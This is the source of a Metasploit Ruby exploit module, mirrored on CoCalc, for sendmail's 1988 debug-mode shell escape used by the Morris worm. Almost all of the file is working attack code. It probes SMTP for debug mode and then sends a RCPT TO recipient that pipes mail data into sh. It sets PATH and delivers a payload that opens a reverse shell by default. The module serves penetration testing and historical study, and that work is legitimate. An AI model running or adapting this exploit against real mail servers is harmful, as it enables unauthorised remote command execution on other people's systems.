Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/smtp/morris_sendmail_debug.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
# cmd/unix/reverse spams the session with Telnet codes on EOF
9
Rank = AverageRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::Expect
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',
20
'Description' => %q{
21
This module exploits sendmail's well-known historical debug mode to
22
escape to a shell and execute commands in the SMTP RCPT TO command.
23
24
This vulnerability was exploited by the Morris worm in 1988-11-02.
25
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
26
27
Currently, only cmd/unix/reverse and cmd/unix/generic are supported.
28
},
29
'Author' => [
30
'Robert Tappan Morris', # Exploit and worm for sure
31
'Cliff Stoll', # The Cuckoo's Egg inspiration
32
'wvu' # Module and additional research
33
],
34
'References' => [
35
['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
36
['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
37
['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
38
['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
39
],
40
'DisclosureDate' => '1988-11-02',
41
'License' => MSF_LICENSE,
42
'Platform' => 'unix',
43
'Arch' => ARCH_CMD,
44
'Privileged' => false, # DefUid in src/conf.c, usually "daemon"
45
'Payload' => { 'Compat' => { 'RequiredCmd' => 'generic telnet' } },
46
'Targets' => [
47
# https://en.wikipedia.org/wiki/Source_Code_Control_System
48
['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]
49
],
50
'DefaultTarget' => 0,
51
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
register_options([Opt::RPORT(25)])
61
62
register_advanced_options([
63
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
64
])
65
end
66
67
def check
68
checkcode = CheckCode::Safe
69
70
connect
71
res = sock.get_once
72
73
return CheckCode::Unknown unless res
74
75
if res =~ /^220.*Sendmail/
76
checkcode = CheckCode::Detected
77
end
78
79
sock.put("DEBUG\r\n")
80
res = sock.get_once
81
82
return checkcode unless res
83
84
if res.start_with?('200 Debug set')
85
checkcode = CheckCode::Appears
86
end
87
88
checkcode
89
rescue EOFError, Rex::ConnectionError => e
90
vprint_error(e.message)
91
CheckCode::Unknown
92
ensure
93
disconnect
94
end
95
96
def exploit
97
# We don't care who the user is, so randomize it
98
from = rand_text_alphanumeric(8..42)
99
100
# Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit
101
to = %("| sed '1,/^$/d' | sh; exit 0")
102
103
# We don't have $PATH, so set one
104
path = '/bin:/usr/bin:/usr/ucb:/etc'
105
106
sploit = {
107
nil => /220.*Sendmail/,
108
'DEBUG' => /200 Debug set/,
109
"MAIL FROM:<#{from}>" => /250.*Sender ok/,
110
"RCPT TO:<#{to}>" => /250.*Recipient ok/,
111
'DATA' => /354 Enter mail.*itself/,
112
# Indent PATH= so it's not interpreted as a mail header
113
" PATH=#{path}" => nil,
114
'export PATH' => nil,
115
payload.encoded => nil,
116
'.' => /250 Ok/,
117
'QUIT' => /221.*closing connection/
118
}
119
120
print_status('Connecting to sendmail')
121
connect
122
123
print_status('Enabling debug mode and sending exploit')
124
sploit.each do |line, pattern|
125
send_expect(
126
line,
127
pattern,
128
sock: sock,
129
timeout: datastore['ExpectTimeout'],
130
newline: "\r\n"
131
)
132
end
133
rescue Rex::ConnectionError => e
134
fail_with(Failure::Unreachable, e.message)
135
rescue Timeout::Error => e
136
fail_with(Failure::TimeoutExpired, e.message)
137
ensure
138
disconnect
139
end
140
141
def on_new_session(session)
142
print_warning("Do NOT type `exit', or else you may lose further shells!")
143
print_warning('Hit ^C to abort the session instead, please and thank you')
144
end
145
146
end
147
148